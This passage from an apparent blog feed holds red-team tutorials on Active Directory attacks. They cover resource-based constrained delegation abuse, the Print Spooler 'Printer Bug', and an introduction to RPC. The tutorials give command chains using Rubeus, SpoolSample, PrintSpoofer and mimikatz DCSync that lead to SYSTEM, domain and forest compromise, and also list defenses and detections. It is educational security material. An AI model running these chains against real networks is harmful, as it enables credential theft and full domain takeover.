 Manager Ahmed checks inventory levels:<br>  → Same flow → SQL sees Ahmed is in &quot;InventoryManagers&quot; group<br>  → Ahmed sees full inventory with cost prices (Sarah only saw retail prices!)</pre><h3>The Attack</h3><p>RBCD creates a unique attack path: GenericWrite on a computer object → configure RBCD → impersonate Domain Admin to that computer. This is the ONLY known way to turn GenericWrite on a computer into code execution.</p><pre>Attack prerequisites:<br>  ① GenericWrite (or GenericAll/WriteProperty/WriteDACL) on a computer object<br>  ② ms-DS-MachineAccountQuota &gt; 0 (default: 10 — any user can create computers!)<br>  ③ That&#39;s it! No Domain Admin needed. No service account hash needed.</pre><pre>Step 1: Find GenericWrite on computer objects<br>  Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | ...filter...<br>  → dave has GenericWrite on INVSQL01! → can write to its attributes!</pre><pre>Step 2: Check machine account quota<br>  Get-DomainObject -Identity retail -Properties ms-DS-MachineAccountQuota<br>  → ms-DS-MachineAccountQuota = 10 → dave can create computer accounts!</pre><pre>Step 3: Create a computer account with a known password<br>  New-MachineAccount -MachineAccount evilPC -Password $(ConvertTo-SecureString &#39;Attack123&#39; -AsPlainText -Force)<br>  → evilPC$ created with SPNs (HOST/evilPC, RestrictedKrbHost/evilPC)<br>  → Password is &quot;Attack123&quot; → dave knows the hash!</pre><pre>Step 4: Set RBCD on the target<br>  → Write evilPC$&#39;s SID to INVSQL01&#39;s msDS-AllowedToActOnBehalfOfOtherIdentity<br>  → &quot;INVSQL01 now allows delegation FROM evilPC$&quot;<br>  → dave can do this because GenericWrite allows writing to this attribute!</pre><pre>Step 5: S4U attack from evilPC$<br>  Rubeus.exe s4u /user:evilPC$ /rc4:&lt;HASH&gt; /impersonateuser:administrator <br>    /msdsspn:CIFS/INVSQL01.retail.local /ptt<br>  <br>  → Stage 0 (asktgt): TGT for evilPC$<br>  → Stage 1 (S4U2Self): TGS as administrator to evilPC<br>  → Stage 2 (S4U2Proxy): TGS as administrator to CIFS/INVSQL01<br>  → KDC checks: evilPC$ in INVSQL01&#39;s AllowedToActOnBehalf? → YES! ✅<br>  → TGS injected!</pre><pre>Step 6: Access the target as Domain Admin!<br>  dir \\INVSQL01.retail.local\c$ → browsing C: drive as administrator! ✅<br>  → Full file system access → upload tools → code execution!<br>  <br>  Note: this is a network login (type 3) → access limited to INVSQL01 only<br>  → Can&#39;t directly pivot further, but have full access to this server!</pre><h3>Why It’s Dangerous</h3><pre>→ GenericWrite on a computer = code execution on that computer!<br>  → Any domain user can create computer accounts (default quota: 10!)<br>  → No Domain Admin privileges needed for the ENTIRE attack!<br>  → No service account hash needed (you CREATE the computer with your own password!)<br>  → The ONLY known way to turn GenericWrite on a computer into code execution</pre><h3>Part 5: All Three Types — Complete Comparison</h3><pre>┌─────────────────────┬──────────────────┬──────────────────┬──────────────────┐<br>│                     │ Unconstrained    │ Constrained      │ RBCD             │<br>├─────────────────────┼──────────────────┼──────────────────┼──────────────────┤<br>│ Year                │ 2000             │ 2003             │ 2012             │<br>│ User&#39;s TGT sent?    │ YES (forwarded!) │ NO               │ NO               │<br>│ Mechanism           │ TGT forwarding   │ S4U2Self+Proxy   │ S4U2Self+Proxy   │<br>│ Can delegate to     │ ANY service      │ Listed SPNs only │ Configured by    │<br>│                     │                  │                  │ target           │<br>│ KDC checks          │ Nothing (TGT     │ AllowedTo        │ AllowedToAct     │<br>│                     │ = master key)    │ DelegateTo       │ OnBehalfOf...    │<br>│ Attribute on        │ Frontend (flag)  │ Frontend (list)  │ BACKEND (list)   │<br>│ Key AD attribute    │ TRUSTED_FOR_     │ msDS-AllowedTo   │ msDS-AllowedTo   │<br>│                     │ DELEGATION       │ DelegateTo +     │ ActOnBehalfOf    │<br>│                     │ (UAC flag)       │ TRUSTED_TO_AUTH  │ OtherIdentity    │<br>│                     │                  │ _FOR_DELEGATION  │                  │<br>│ Configured by       │ Domain Admin     │ Domain Admin     │ Resource owner   │<br>│ Attack requires     │ Be ON the server │ Service acct hash│ GenericWrite on  │<br>│                     │                  │                  │ target + create  │<br>│                     │                  │                  │ computer account │<br>│ Attack result       │ Steal any user&#39;s │ Impersonate to   │ Impersonate DA   │<br>│                     │ TGT → any svc    │ allowed services │ to target only   │<br>│ Real-world scenario │ Corporate portal │ Hospital patient │ E-commerce       │<br>│                     │ (SSO dashboard)  │ records system   │ inventory system │<br>│ Enumeration         │ Get-DomainComp   │ Get-DomainUser   │ Get-ObjectAcl    │<br>│                     │ -Unconstrained   │ -TrustedToAuth   │ (GenericWrite)   │<br>└─────────────────────┴──────────────────┴──────────────────┴──────────────────┘</pre><h3>Part 6: The Evolution — Why Each Type Exists</h3><pre>2000 — Unconstrained Delegation:<br>  Problem solved: services can&#39;t access backend resources as the user<br>  Solution: forward the user&#39;s TGT to the service<br>  New problem: service can access ANYTHING as the user → too dangerous!</pre><pre>2003 — Constrained Delegation:<br>  Problem solved: unconstrained is too dangerous<br>  Solution: limit delegation to specific SPNs (AllowedToDelegateTo)<br>  New problem: only Domain Admins can configure it → operational bottleneck!</pre><pre>2012 — Resource-Based Constrained Delegation:<br>  Problem solved: constrained requires Domain Admin for every change<br>  Solution: let the resource owner configure who can delegate (AllowedToActOnBehalf)<br>  New problem: GenericWrite on a computer → configure RBCD → code execution!</pre><pre>Each solution fixed one problem but introduced a new attack surface.<br>The story of delegation = the story of security trade-offs.<br>  No limits → Add limits → Move control to the target<br>  More security → More complexity → New attack vectors</pre><h3>Part 7: Defense Recommendations</h3><h3>Unconstrained Delegation</h3><pre>→ Audit: Get-DomainComputer -Unconstrained → find all unconstrained servers<br>→ Migrate to constrained delegation or RBCD where possible<br>→ Add privileged accounts to the Protected Users group (TGTs not forwardable!)<br>→ Disable the Print Spooler on servers with unconstrained delegation<br>→ Monitor for TGT extraction (Mimikatz/Rubeus patterns in memory)<br>→ Domain Controllers always have this flag — can&#39;t remove it, but can harden</pre><h3>Constrained Delegation</h3><pre>→ Audit: Get-DomainUser -TrustedToAuth + Get-DomainComputer -TrustedToAuth<br>→ Protect service account credentials (long random passwords, rotate regularly!)<br>→ Use Group Managed Service Accounts (gMSA) — automatic password rotation<br>→ Limit the SPNs in AllowedToDelegateTo to the absolute minimum needed<br>→ Avoid SPNs without ports (makes /altservice trick harder)<br>→ Monitor for S4U activity from unexpected source accounts</pre><h3>RBCD</h3><pre>→ Audit GenericWrite/GenericAll/WriteProperty on computer objects (BloodHound!)<br>→ Reduce ms-DS-MachineAccountQuota from 10 to 0 (prevent computer creation!)<br>→ Monitor changes to msDS-AllowedToActOnBehalfOfOtherIdentity<br>→ Monitor for new computer account creation (Event ID 4741)<br>→ Use BloodHound to map all RBCD attack paths proactively<br>→ Restrict who can write to computer object attributes</pre><h3>Conclusion</h3><p>Kerberos delegation is a necessary mechanism in enterprise environments — services genuinely need to access backend resources as the logged-in user for compliance, auditing, and access control. But each implementation trades off security for functionality:</p><p><strong>Unconstrained</strong> gives maximum flexibility at the cost of maximum risk. A single compromised server yields every user’s master key.</p><p><strong>Constrained</strong> adds meaningful restrictions but centralizes all control with Domain Admins and still allows impersonation to the allowed services with just a service account hash.</p><p><strong>RBCD</strong> decentralizes control to resource owners but opens a completely new attack vector: anyone who can write to a computer object can gain code execution on that machine.</p><p>The key takeaway: delegation is not just a Kerberos feature to memorize for an exam. It’s a critical attack surface that exists in every Active Directory environment. Whether you’re defending or attacking, knowing which type exists where, what each one requires, and what happens when it’s compromised is essential.</p><p><strong>If you found this useful, follow me for more deep dives into Active Directory attacks, Kerberos internals, and red team techniques.</strong></p><p>#CyberSecurity #ActiveDirectory #Kerberos #RedTeam #PenTesting #InfoSec #EthicalHacking #WindowsSecurity #OSEP #OffensiveSecurity #BlueTeam #Delegation</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b16c8b242a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Printer Bug: How a 20-Year-Old Windows Feature Becomes a Full Forest Compromise]]></title>
            <link>https://medium.com/@ashrafal3oni/the-printer-bug-how-a-20-year-old-windows-feature-becomes-a-full-forest-compromise-75033b6deb1c?source=rss-ef50fd1a477f------2</link>
            <guid isPermaLink="false">https://medium.com/p/75033b6deb1c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Ashraf Mohammed]]></dc:creator>
            <pubDate>Mon, 27 Jul 2026 10:55:30 GMT</pubDate>
            <atom:updated>2026-07-28T11:45:53.811Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/728/0*R7CyQH-_D8WZo3kY.jpg" /></figure><h3>A deep dive into the Print Spooler attack primitive — from local privilege escalation to complete Active Directory forest takeover</h3><p><em>From managing paper jams to owning Enterprise Admins — the Print Spooler service was never meant to be a penetration tester’s best friend. But here we are.</em></p><h3>Introduction</h3><p>The Printer Bug is one of the most powerful and versatile attack primitives in Windows and Active Directory environments. It’s not a traditional vulnerability — it’s a legitimate feature of the Windows Print Spooler service that can be abused for privilege escalation, lateral movement, and complete Active Directory forest compromise.</p><p>What makes the Printer Bug particularly dangerous is its universality: the Print Spooler service runs by default on virtually every Windows machine, including Domain Controllers, and any authenticated domain user can trigger it without any special privileges.</p><p>This writeup covers the Printer Bug from absolute zero: what it is, how it works under the hood, and how attackers abuse it at three escalating levels — from local privilege escalation to full forest compromise.</p><h3>Part 1: What is the Print Spooler Service?</h3><h3>The Basics</h3><p>The Print Spooler is a Windows service responsible for managing all printing operations on a machine. When you click “Print” in any application, the Print Spooler receives the print job, queues it, converts it to the printer’s format, and sends it to the physical printer.</p><pre>Service Details:<br>  Service name:   Spooler<br>  Executable:     spoolsv.exe<br>  Runs as:        NT AUTHORITY\SYSTEM (locally)<br>                  or the computer account (e.g., DC01$) in domain context<br>  Startup type:   Automatic (starts when Windows boots!)<br>  Listens on:     Named pipe: \pipe\spoolss<br>  Network access: TCP port 445 (SMB) → accessible remotely!</pre><p>The critical fact for attackers: the Print Spooler runs automatically on almost every Windows machine, including servers that have no printers connected. Domain Controllers, file servers, web servers, SQL servers — they all run the Print Spooler by default. Microsoft does not disable it by default, and most administrators never think to turn it off.</p><h3>The RPC Interface: MS-RPRN</h3><p>The Print Spooler exposes a Remote Procedure Call (RPC) interface called MS-RPRN (Microsoft Print System Remote Protocol). This interface allows remote management of printers and print jobs over the network.</p><pre>Access path:<br>  Client → SMB (TCP port 445) → Named Pipe (\pipe\spoolss) → RPC → MS-RPRN functions</pre><pre>Key MS-RPRN functions:<br>  RpcOpenPrinter          → open a handle to a printer on a remote machine<br>  RpcEnumPrinters         → list available printers<br>  RpcAddPrinter           → add a new printer<br>  RpcDeletePrinter        → remove a printer<br>  RpcRemoteFindFirstPrinterChangeNotification → subscribe to change notifications!</pre><p>Any authenticated domain user can call these functions remotely. No administrator privileges are required. This is by design — the protocol was built for legitimate print management.</p><h3>The Critical Function: RpcRemoteFindFirstPrinterChangeNotification</h3><p>This function is the heart of the Printer Bug. Its legitimate purpose is to allow a print management application to subscribe to notifications about printer changes on a remote server.</p><pre>How it works (legitimate use):</pre><pre>  ① Print management app → target server:<br>     &quot;When something changes on your printers (job completed, paper jam, <br>      printer offline), notify me by connecting to \\MY_SERVER&quot;</pre><pre>  ② Target server&#39;s Print Spooler:<br>     &quot;OK, I&#39;ll connect to \\MY_SERVER when something changes.&quot;</pre><pre>  ③ When a change occurs:<br>     Target server → connects to \\MY_SERVER → sends notification<br>     This connection includes AUTHENTICATION (the server authenticates<br>     using its computer account via Kerberos or NTLM!)</pre><p>The critical detail: the target server initiates a connection BACK to the address you specify. This connection includes authentication. The attacker controls WHERE the server connects to.</p><h3>Part 2: How the Printer Bug Works (The Attack Primitive)</h3><h3>The Core Concept</h3><p>The Printer Bug is not a software bug in the traditional sense — it’s a feature abuse. The attack leverages the fact that:</p><ol><li>Any authenticated user can call RpcRemoteFindFirstPrinterChangeNotification</li><li>The caller specifies WHERE the notification should be sent</li><li>The target’s Print Spooler CONNECTS BACK to that address</li><li>The connection includes AUTHENTICATION (as the computer account or SYSTEM)</li><li>The attacker controls the destination → captures or relays the authentication</li></ol><pre>The attack in its simplest form:</pre><pre>  Attacker → Target: &quot;Notify me at \\ATTACKER_CONTROLLED_SERVER&quot;<br>  Target Print Spooler → \\ATTACKER_CONTROLLED_SERVER: *authenticates*<br>  <br>  The attacker now has the target&#39;s authentication:<br>    → NTLM hash (for relay attacks)<br>    → Kerberos TGT (if the attacker&#39;s server has unconstrained delegation)<br>    → SYSTEM token (if local, with SeImpersonatePrivilege)</pre><h3>SpoolSample: The Tool</h3><p>SpoolSample is a tool (written by @tifkin_) that automates the Printer Bug. It makes exactly two RPC calls:</p><pre>SpoolSample.exe &lt;TARGET&gt; &lt;CAPTURE_SERVER&gt;</pre><pre>  Call 1: RpcOpenPrinter<br>    → Opens a handle to the TARGET&#39;s Print Spooler</pre><pre>  Call 2: RpcRemoteFindFirstPrinterChangeNotification<br>    → &quot;Send notifications to \\CAPTURE_SERVER&quot;<br>    → TARGET&#39;s Print Spooler connects BACK to CAPTURE_SERVER<br>    → Authentication captured!</pre><p>That’s it — two function calls. Any authenticated domain user can run it. No special privileges needed. The tool is simple, but the impact is devastating.</p><h3>What Authentication Does the Attacker Capture?</h3><p>The type of authentication captured depends on the attacker’s setup:</p><pre>If CAPTURE_SERVER has unconstrained delegation:<br>  → The target sends a FORWARDABLE Kerberos TGT!<br>  → Because the KDC sees unconstrained delegation → includes TGT automatically!<br>  → The attacker captures the target&#39;s MASTER TICKET!<br>  → Can impersonate the target to ANY service!</pre><pre>If CAPTURE_SERVER runs Responder/ntlmrelayx:<br>  → The target sends an NTLM authentication<br>  → Attacker captures Net-NTLMv2 hash (crack offline)<br>  → Or relays the authentication to another service (NTLM relay!)</pre><pre>If the attack is local (same machine):<br>  → The Print Spooler authenticates via local named pipe<br>  → Attacker captures the SYSTEM token<br>  → With SeImpersonatePrivilege → impersonate SYSTEM!</pre><h3>Part 3: Abuse Level 1 — Local Privilege Escalation (SeImpersonatePrivilege)</h3><h3>The Scenario</h3><p>You have a shell as a service account (IIS, SQL Server, or any service running with SeImpersonatePrivilege). You want to escalate to NT AUTHORITY\SYSTEM on the same machine.</p><h3>How It Works</h3><pre>Step 1: You (as a service account) create a local named pipe<br>  → A named pipe is a communication channel between processes<br>  → You create: \\.\pipe\attacker_pipe<br>  → You listen on this pipe for incoming connections</pre><pre>Step 2: You force the Print Spooler to connect to your pipe<br>  → The Print Spooler runs as SYSTEM on the same machine<br>  → You call: RpcRemoteFindFirstPrinterChangeNotification<br>  → &quot;Send notifications to \\.\pipe\attacker_pipe&quot;<br>  → The Print Spooler connects to YOUR pipe</pre><pre>Step 3: Capture the SYSTEM token<br>  → The Print Spooler authenticates to your pipe as SYSTEM<br>  → You receive the SYSTEM access token on your pipe<br>  → An access token = the security context of the connecting user</pre><pre>Step 4: Impersonate SYSTEM<br>  → You call ImpersonateNamedPipeClient() or similar API<br>  → Your thread now runs with the SYSTEM token<br>  → SeImpersonatePrivilege allows this!<br>  → You ARE SYSTEM on this machine!</pre><h3>Tools That Implement This</h3><pre>PrintSpoofer:<br>  → By @itm4n<br>  → Exploits the Printer Bug locally<br>  → Creates a named pipe → forces Print Spooler to connect → impersonates SYSTEM<br>  → Usage: PrintSpoofer.exe -i -c cmd<br>  → Instant SYSTEM shell!</pre><pre>SpoolPotato:<br>  → Similar concept<br>  → Part of the &quot;Potato&quot; family of privilege escalation tools<br>  → All abuse Windows service authentication via named pipes</pre><pre>These tools work because:<br>  → Service accounts have SeImpersonatePrivilege by default<br>  → Print Spooler runs as SYSTEM<br>  → Named pipe connections include authentication tokens<br>  → SeImpersonatePrivilege allows stealing and using those tokens</pre><h3>Impact</h3><pre>Before: service account (limited privileges, can&#39;t access SAM, can&#39;t dump hashes)<br>  After:  NT AUTHORITY\SYSTEM (full control of the machine!)<br>  <br>  As SYSTEM you can:<br>    → Read/write any file (SAM database, NTDS.dit if it&#39;s a DC)<br>    → Dump credentials from LSASS memory<br>    → Install services, create users, modify the system<br>    → Access any resource the machine account can access</pre><h3>Part 4: Abuse Level 2 — Domain Compromise (Unconstrained Delegation)</h3><h3>The Scenario</h3><p>You’ve compromised a server (APPSRV01) that has unconstrained Kerberos delegation enabled. This server is in the prod.corp1.com domain. The domain controller is CDC01.prod.corp1.com. You want to compromise the entire domain.</p><h3>How It Works</h3><pre>Step 1: Identify the unconstrained delegation server<br>  PS C:\&gt; Get-DomainComputer -Unconstrained<br>  → APPSRV01 has TRUSTED_FOR_DELEGATION flag!</pre><pre>Step 2: Verify Print Spooler on the Domain Controller<br>  PS C:\&gt; dir \\CDC01\pipe\spoolss<br>  → Accessible! Print Spooler is running on the DC!</pre><pre>Step 3: Start Rubeus to monitor for new TGTs<br>  C:\&gt; Rubeus.exe monitor /interval:5 /filteruser:CDC01$<br>  → Watching for CDC01$&#39;s TGT to appear in LSASS memory</pre><pre>Step 4: Trigger the Printer Bug<br>  C:\&gt; SpoolSample.exe CDC01 APPSRV01<br>  → Forces CDC01&#39;s Print Spooler to authenticate to APPSRV01<br>  → CDC01 authenticates via Kerberos<br>  → APPSRV01 has unconstrained delegation → KDC includes forwardable TGT!<br>  → CDC01$&#39;s TGT is cached on APPSRV01!</pre><pre>Step 5: Rubeus captures the TGT<br>  [*] Found new TGT:<br>  User: CDC01$@PROD.CORP1.COM<br>  Flags: forwarded, forwardable<br>  Base64EncodedTicket: doIE9DCCBP...</pre><pre>Step 6: Inject and exploit<br>  C:\&gt; Rubeus.exe ptt /ticket:doIE9DCCBP...<br>  → Injected CDC01$&#39;s TGT into our session!<br>  <br>  mimikatz # lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt<br>  → DCSync! Dumped the krbtgt hash!<br>  → Golden Ticket → permanent domain compromise!</pre><h3>Why This Works</h3><pre>The key insight: unconstrained delegation + Printer Bug = TGT theft</pre><pre>  Normal Kerberos authentication:<br>    → CDC01 authenticates to APPSRV01 → sends a regular service ticket<br>    → No TGT is forwarded<br>    <br>  When APPSRV01 has unconstrained delegation:<br>    → The KDC sees TRUSTED_FOR_DELEGATION on APPSRV01<br>    → The KDC AUTOMATICALLY includes CDC01$&#39;s forwardable TGT in the ticket!<br>    → CDC01 doesn&#39;t &quot;choose&quot; to send its TGT — the KDC forces it!<br>    → APPSRV01 extracts the TGT from the ticket → caches in LSASS</pre><pre>  CDC01$ (the DC&#39;s computer account):<br>    → Is NOT a Domain Admin<br>    → BUT has domain REPLICATION permissions (it&#39;s a DC!)<br>    → Replication permissions → DCSync → dump any user&#39;s hash!<br>    → krbtgt hash → Golden Ticket → permanent domain compromise!</pre><pre>The Printer Bug just TRIGGERS the authentication.<br>Unconstrained delegation makes the TGT get forwarded.<br>Together: force any machine to give you its TGT!</pre><h3>Impact</h3><pre>Before: compromised one server in the domain<br>  After:  krbtgt hash → Golden Ticket → complete domain compromise!<br>  <br>  No human interaction needed!<br>  No waiting for users to log in!<br>  Fully automated: SpoolSample → Rubeus → DCSync → done!</pre><h3>Part 5: Abuse Level 3 — Forest Compromise (Cross-Trust Printer Bug)</h3><h3>The Scenario</h3><p>You’ve compromised the child domain (prod.corp1.com) and have access to an unconstrained delegation server (APPSRV01). The forest root domain is corp1.com with DC01 as its Domain Controller. You want to compromise the entire forest and become Enterprise Admin.</p><h3>How It Works</h3><pre>The attack is IDENTICAL to Level 2, but targets the FOREST ROOT DC!</pre><pre>  SpoolSample.exe DC01.corp1.com APPSRV01.prod.corp1.com<br>                  ↑                ↑<br>                  FOREST ROOT DC    CHILD DOMAIN SERVER<br>                  (different domain!)</pre><pre>Step 1: SpoolSample forces DC01 (corp1.com) to authenticate to APPSRV01 (prod.corp1.com)<br>  → This crosses the trust boundary!<br>  → Works because: bidirectional trust allows any prod user to reach corp1&#39;s services!</pre><pre>Step 2: DC01 authenticates to APPSRV01 via Kerberos<br>  → APPSRV01 has unconstrained delegation<br>  → KDC includes DC01$&#39;s forwardable TGT!<br>  → DC01$&#39;s TGT (from corp1.com!) crosses the trust to prod.corp1.com!</pre><pre>Step 3: Rubeus captures DC01$&#39;s TGT on APPSRV01<br>  → User: DC01$@CORP1.COM (the FOREST ROOT DC!)<br>  → This TGT was issued by corp1.com&#39;s KDC!</pre><pre>Step 4: Inject and DCSync the forest root!<br>  → Rubeus ptt → inject DC01$&#39;s TGT<br>  → lsadump::dcsync /domain:corp1.com /user:corp1\krbtgt<br>  → DCSync succeeds! (DC01$ has replication permissions in corp1.com!)<br>  → corp1.com&#39;s krbtgt hash → Golden Ticket for the forest root!<br>  → Enterprise Admin → complete forest compromise!</pre><h3>Why the Cross-Trust Attack Works</h3><pre>Three conditions must be met:</pre><pre>  ① Bidirectional trust between child and parent domain<br>     → Default for parent-child domains (always bidirectional!)<br>     → Any prod user can communicate with corp1.com services<br>     → SpoolSample can reach DC01&#39;s Print Spooler from prod</pre><pre>  ② Print Spooler running on the forest root DC<br>     → Default on all Windows servers (including DCs!)<br>     → Almost never disabled by administrators</pre><pre>  ③ Unconstrained delegation server in the child domain<br>     → APPSRV01 has TRUSTED_FOR_DELEGATION<br>     → When DC01 authenticates to APPSRV01 → TGT forwarded!<br>     <br>  If you&#39;re Domain Admin in the child domain but NO unconstrained delegation <br>  server exists → you can CREATE one yourself!<br>    → Modify a server&#39;s userAccountControl → add TRUSTED_FOR_DELEGATION<br>    → Now it has unconstrained delegation → use it for the Printer Bug!</pre><h3>Why This is Different from the Extra SID Attack</h3><pre>Extra SID Attack:<br>  → Requires: child domain&#39;s krbtgt hash<br>  → Creates: a FORGED Golden Ticket with Enterprise Admins SID in ExtraSIDs<br>  → The ticket is fake (created by Mimikatz, not a real KDC)<br>  → Potentially detectable (PAC anomalies, unusual ExtraSIDs)</pre><pre>Printer Bug Attack:<br>  → Requires: unconstrained delegation server + Print Spooler on forest root DC<br>  → Captures: a REAL TGT from the forest root DC&#39;s actual authentication<br>  → The ticket is legitimate (issued by the real KDC!)<br>  → Harder to detect (legitimate Kerberos flows, no forged tickets)<br>  <br>Both achieve the same result: Enterprise Admin → forest compromise!<br>The Printer Bug is more stealthy because it uses real tickets, not forged ones.</pre><h3>Impact</h3><pre>Before: Domain Admin in a child domain (one domain only)<br>  After:  Enterprise Admin (every domain in the forest!)<br>  <br>  The forest is supposed to be the security boundary.<br>  One unconstrained delegation server + the Printer Bug = forest compromise!<br>  Microsoft&#39;s response: &quot;domains in the same forest share the same security boundary&quot;<br>  <br>  In 2019, Microsoft blocked TGT delegation across FOREST trusts.<br>  But WITHIN-FOREST trusts remain vulnerable (by design!).</pre><h3>Part 6: All Three Levels Compared</h3><pre>┌──────────────────┬──────────────────┬──────────────────┬──────────────────┐<br>│                  │ Level 1: LOCAL   │ Level 2: DOMAIN  │ Level 3: FOREST  │<br>│                  │ (SeImpersonate)  │ (Unconstrained)  │ (Cross-Trust)    │<br>├──────────────────┼──────────────────┼──────────────────┼──────────────────┤<br>│ Scope            │ Same machine     │ Same domain      │ Across domains   │<br>│ Network          │ No (local pipe)  │ Yes (SMB/Kerb)   │ Yes (cross-trust)│<br>│ Mechanism        │ Impersonation    │ Delegation       │ Delegation       │<br>│ Captured         │ SYSTEM token     │ DC&#39;s TGT         │ Forest root TGT  │<br>│ Kerberos         │ Not involved     │ Same domain      │ Cross-domain     │<br>│ Trust boundary   │ No               │ No               │ YES              │<br>│ Spooler runs as  │ SYSTEM           │ DC$ (computer)   │ DC$ (computer)   │<br>│ Privileges needed│ SeImpersonate    │ Admin on uncons. │ Admin on uncons. │<br>│ Result           │ SYSTEM on box    │ Domain compromise│ Forest compromise│<br>│ Tools            │ PrintSpoofer     │ SpoolSample+     │ SpoolSample+     │<br>│                  │                  │ Rubeus+Mimikatz  │ Rubeus+Mimikatz  │<br>└──────────────────┴──────────────────┴──────────────────┴──────────────────┘</pre><h3>Part 7: Defense and Detection</h3><h3>Mitigations</h3><pre>1. Disable the Print Spooler on servers that don&#39;t need it:<br>   → Especially Domain Controllers!<br>   → Stop-Service Spooler; Set-Service Spooler -StartupType Disabled<br>   → This is the MOST effective mitigation<br>   → But: may break legitimate printing functionality</pre><pre>2. Add privileged accounts to the Protected Users group:<br>   → TGTs for Protected Users are NOT forwardable<br>   → Unconstrained delegation won&#39;t receive their TGTs<br>   → But: breaks delegation functionality for those users</pre><pre>3. Remove unnecessary unconstrained delegation:<br>   → Audit: Get-DomainComputer -Unconstrained<br>   → Migrate to constrained delegation or RBCD where possible<br>   → Unconstrained delegation is rarely truly necessary</pre><pre>4. Network segmentation:<br>   → Restrict SMB (port 445) access to Domain Controllers<br>   → Only allow necessary machines to communicate with DCs<br>   → Firewall rules can prevent SpoolSample from reaching DCs</pre><pre>5. Monitor for SpoolSample/Printer Bug indicators:<br>   → Watch for RpcRemoteFindFirstPrinterChangeNotification calls<br>   → Monitor for unexpected authentication from DCs to non-DC servers<br>   → Alert on DCSync activity from non-DC computer accounts</pre><h3>Detection Opportunities</h3><pre>1. Event logs:<br>   → Windows Security Event 4624 (Logon): DC authenticating to unexpected servers<br>   → Sysmon Event ID 3 (Network Connection): spoolsv.exe connecting outbound<br>   → Sysmon Event ID 17/18 (Pipe): named pipe creation/connection</pre><pre>2. Network indicators:<br>   → DC initiating SMB connections to workstations/member servers<br>   → Unexpected Kerberos TGT requests from DC computer accounts<br>   → DCSync traffic (DRS replication) from non-DC sources</pre><pre>3. AD monitoring:<br>   → Changes to userAccountControl (adding TRUSTED_FOR_DELEGATION)<br>   → New computer accounts being created (MachineAccountQuota abuse)<br>   → Unusual DCSync operations (replication from non-DC accounts)</pre><h3>Conclusion</h3><p>The Printer Bug is a masterclass in feature abuse. A single Windows service — the Print Spooler — that was designed for something as mundane as managing printers, becomes the foundation for three increasingly devastating attacks:</p><ol><li><strong>Local</strong>: Service account → SYSTEM (privilege escalation)</li><li><strong>Domain</strong>: Compromised server → Domain Controller → krbtgt → domain ownership</li><li><strong>Forest</strong>: Child domain → Forest root DC → Enterprise Admin → everything</li></ol><p>What makes it particularly insidious is that it’s not a bug that can be patched — it’s the intended behavior of the Print Spooler’s notification callback mechanism. The only real fix is to disable the Print Spooler on machines that don’t need it, especially Domain Controllers.</p><p>The Printer Bug reminds us that in Windows environments, the attack surface extends far beyond traditional vulnerabilities. Sometimes the most dangerous attack vectors are the features that have been quietly running in the background for 20 years.</p><p><strong>If you found this useful, follow me for more deep dives into Active Directory attacks, Windows internals, and red team techniques.</strong></p><p>#CyberSecurity #PenTesting #ActiveDirectory #RedTeam #Windows #Kerberos #PrinterBug #PrivilegeEscalation #OSEP #InfoSec #EthicalHacking #OffensiveSecurity</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=75033b6deb1c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RPC (Remote Procedure Call) Protocol  .]]></title>
            <link>https://medium.com/@ashrafal3oni/rpc-remote-procedure-call-protocol-4d5f603934a0?source=rss-ef50fd1a477f------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d5f603934a0</guid>
            <category><![CDATA[windows-post-exploitation]]></category>
            <category><![CDATA[rpc]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[smb]]></category>
            <dc:creator><![CDATA[Ashraf Mohammed]]></dc:creator>
            <pubDate>Thu, 09 Jul 2026 07:47:01 GMT</pubDate>
            <atom:updated>2026-07-09T08:29:53.164Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*nhPzokRAU_EZJIkO.png" /></figure><blockquote><strong><em>RPC is the invisible backbone of Windows networking. Every time you manage a [remote] computer — services, registry, users, printers, scheduled tasks, file shares — RPC handles the communication. Understanding RPC means understanding how Windows machines talk to each other, and why attackers use it for lateral movement.</em></strong></blockquote><h3>Part 1: What is RPC?</h3><p>RPC stands for <strong>Remote Procedure Call</strong>. It is a software communication protocol that allows a computer program to execute a function, process, or subroutine on a different computer or server without having to understand the underlying network details.</p><h3>The Problem RPC Solves</h3><p>You’re an IT administrator. You manage 500 Windows machines. You need to:</p><ul><li>Check if a service is running on Server-12</li><li>Create a scheduled task on Server-45</li><li>Read a registry key on Workstation-203</li><li>Add a user on Server-88</li></ul><pre>WITHOUT RPC:<br>  Walk to Server-12 → check the service<br>  Walk to Server-45 → create the task<br>  Walk to Workstation-203 → read the registry<br>  Walk to Server-88 → add the user<br>  → 4 trips. For 500 machines? Impossible.</pre><pre>WITH RPC:<br>  From YOUR desk:<br>    QueryServiceStatus(&quot;Server-12&quot;, &quot;Spooler&quot;)     → &quot;Running&quot;<br>    CreateScheduledTask(&quot;Server-45&quot;, &quot;Backup&quot;, ...) → &quot;Created&quot;<br>    RegQueryValue(&quot;Workstation-203&quot;, &quot;HKLM\...\&quot;)  → &quot;0x00000001&quot;<br>    NetUserAdd(&quot;Server-88&quot;, &quot;newuser&quot;, ...)        → &quot;Success&quot;</pre><pre>  → 4 function calls. Never left your desk.<br>  → RPC handled ALL the network communication invisibly.</pre><h3>The Simplest Definition</h3><pre>RPC = calling a function on Computer B from Computer A.</pre><pre>  Your code on Computer A:<br>    result = SomeFunction(&quot;Computer-B&quot;, parameters...)<br>    <br>  This LOOKS like a local function call.<br>  But internally:<br>    → Parameters packed into bytes (serialized)<br>    → Sent over the network to Computer B<br>    → Computer B unpacks and runs the function LOCALLY<br>    → Result packed and sent back<br>    → Your code receives the result</pre><pre>    <br>  To the programmer: it&#39;s transparent. Same code works locally or remotely.<br>  